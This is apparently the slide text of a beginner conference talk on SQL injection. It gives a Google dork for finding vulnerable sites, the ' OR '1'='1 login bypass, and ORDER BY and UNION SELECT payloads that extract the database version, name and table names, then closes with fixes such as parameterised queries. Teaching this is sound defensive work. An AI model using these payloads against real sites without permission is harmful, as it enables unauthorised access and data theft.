Turn on breakfast news and chances are you'll hear about the latest data breach. Another database has been dumped and another million people have had their credit card details stolen. How'd they do it? SQL Injection. SQL Injection is a common vulnerability found in websites and mobile applications. I'll introduce you to it, how it works, how to do it yourself and how to fix it. There will be classic hits, select memes and enough info so that when you get home you can take down your own website and make it rain data. Check out the full version with hilarious giph's and some sweet tunes here: https://youtu.be/TTkOo9-0wMk

1. Dr. Brigitte Lewis
It’s Hammertime: SQL Injection For Beginners
@briglewis
#CyberCon #W0m3nWh0HackM3lb0urn3 @deloitte
#projectfreidman

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7. SELECT

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9. SQL Injection

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Dewey Decimal System Hashtags
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11. What You’re Going to Learn
• Checking for SQL Injection Vulnerabilities is quick and you
can do it too!
• How to execute a SQL Injection
• How to fix SQL vulnerabilities

12. Why SQL Injection (SQLi?)

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What is Truth?

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• SQL Injection is the act of querying or sending requests, otherwise known
as questions, to a database.
• Know Thy Database.
Creating a Conversation with the Database

29. From the table called users, check that the username
Jo@influencer4lyfe.com.au is there and that Jo's password which is
Influencerlyfe2019! also matches the password Jo supplied.
Speaking in Database Tongue

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SELECT *
FROM Users
WHERE user = Jo@influencer4lyfe.com.au and password =
influencerlyfe2019!
SQL Query 101

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7 Steps to SQLi Heaven

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1. Get the Database Language

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1.1 Identify the Database Language
Error Based SQL Injection

35. SQLi Hunting in the Wilds of the Internet
Google Dorks Query
Format for advanced search in
Google
where-you-want-to search:keyword
inurl: php?id=
inurl – Get URL’s or website
addresses

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Statement / Equation True or False
1 + 1= 2 True
2 +2 = 4 True
1=1
a=a
True
True
Speaking in Truths

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' OR ‘1’ = ‘1
The Classic SQL Injection (SQLi)

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1.2 Login without a username or password

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2. Get the Contents of the Database You’re
Currently Talking To

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Database 101
ID Username Password Signature
1 admin adminpass g0t r00t?
2 adrian somepassword
Zombie
Films
Rock!
3 john monkey ######
4 jeremy password ######
5 bryce password ######
6 samurai samurai ######
7 jim password ######
8 bobby password ######
9 simba password ######
ID Credit Card
1 543556770082
2 543599755432
3 543554332153
4 543555588882
5 543525252183
6 543576464648
7 5435111172934
8 543523232902
9 5435116373849

44. 3. Count the columns to speak to other tables
in the database (using ORDER BY)
%3d is the = sign in URL language

45. 3.1 Count the columns to speak to other
tables in the database
‘ ORDER by 1#
‘ ORDER by 2#
‘ ORDER by 3#
3 Columns in the table

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4. Checking for the vulnerable column

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4. Checking for the vulnerable columns

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4.2 Checking for the vulnerable column

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5. Get the Database Version
+union select 1,version(),3

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6. Get the Database Name
+union select database(),2,3

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'UNION SELECT 1, group_concat(table_name) from
information_schema.tables where table_schema=database()%23
7. Get all the other database names to talk to
them too

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3. Count the columns to speak to other tables in the database
4. Check for the vulnerable column
5. Get the database version
6. Get the database name
7. Get all the other database names to talk to them too.
1. Get the database to tell you the language it speaks
7 Steps to SQLi Heaven
2. Get the contents of the database you’re currently talking to

53. Enter SQLi Heaven

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Fixing SQL Vulnerabilities
1. Never Trust the User
- Validate all input on the user and server side

56. 2. Input sanitisation
- Clean it up before it is sent to the database

57. 3. Parameterisation or pre-prepared statements.

60. Thank-you for listening! That was:
It’s Hammertime: SQL Injection For Beginners
#CyberCon #W0m3nWh0HackM3lb0urn3 @Deloitte
Dr. Brigitte Lewis | @briglewis
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